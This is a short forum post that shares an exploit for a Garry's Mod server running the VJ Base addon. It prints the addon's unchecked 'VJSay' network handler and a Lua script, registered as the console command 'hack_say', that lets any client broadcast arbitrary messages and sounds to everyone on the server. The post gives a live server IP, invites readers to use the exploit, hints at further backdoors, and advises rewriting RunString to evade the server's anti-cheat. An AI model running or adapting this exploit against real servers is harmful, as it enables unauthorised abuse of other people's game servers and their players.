Exploit for one fallout server.
I will be short. Sorry.
First of all, I'm sorry for my bad english. English isn't my main language.
The backdoor.
Code:
if SERVER then
net.Receive("VJSay",function(len,pl)
ply = net.ReadEntity()
msg = net.ReadString()
soundfile = net.ReadString()
PrintMessage(HUD_PRINTTALK,msg)
local sd = CreateSound(game.GetWorld(),soundfile)
sd:SetSoundLevel(0)
sd:Play()
end)
end
if CLIENT then
local lennyface = vgui.Create("DButton") -- *insert lenny face*
lennyface:SetFont("TargetID")
lennyface:SetText("I AM HERE")
lennyface:SetSize(150, 25)
lennyface:SetColor(Color(76,153,255,255))
lennyface.DoClick = function(lennyface)
net.Start("VJSay")
net.WriteEntity(LocalPlayer())
net.WriteString("The creator of VJ Base, DrVrej is in the server!")
net.WriteString("vj_illuminati/Illuminati Confirmed.mp3")
net.SendToServer()
end
end
The script to use it.
Code:
local panel = {}
function mes_hack_vjsay()
panel.frame = vgui.Create("DFrame")
panel.frame:Center()
panel.frame:SetSize(300,100)
panel.frame:SetTitle("Made by Mestima <3")
panel.frame:MakePopup()
panel.space = vgui.Create("DTextEntry", panel.frame)
panel.space:SetPos(5,25)
panel.space:SetSize(290,20)
panel.space:SetText("Message")
panel.space_sound = vgui.Create("DTextEntry", panel.frame)
panel.space_sound:SetPos(5,50)
panel.space_sound:SetSize(290,20)
panel.space_sound:SetText("Sound")
panel.butt = vgui.Create("DButton", panel.frame)
panel.butt:SetPos(5,75)
panel.butt:SetSize(290,20)
panel.butt:SetText("SEND")
panel.butt.DoClick = function()
panel.msg = panel.space:GetValue()
panel.snd = panel.space_sound:GetValue()
net.Start("VJSay")
net.WriteEntity(LocalPlayer())
net.WriteString(panel.msg)
net.WriteString(panel.snd)
net.SendToServer()
end
end
concommand.Add("hack_say", mes_hack_vjsay)
The server owner know about this backdoor and I think it will be fixed as soon as possible, but it isn't server backdoor.
The VJ Base addon for gmod has this backdoor at all the servers it is installed.
Thx. See you later with more interesting stuff.
The server is enabled (AT THIS MOMENT!)
IP 46.174.54.169:27015
Have fun!
P.S. This server has many another backdoors. You can try to find it if you want, but rewrite your RunString function in scripthook.lua, because the server has anti-scripthook!!!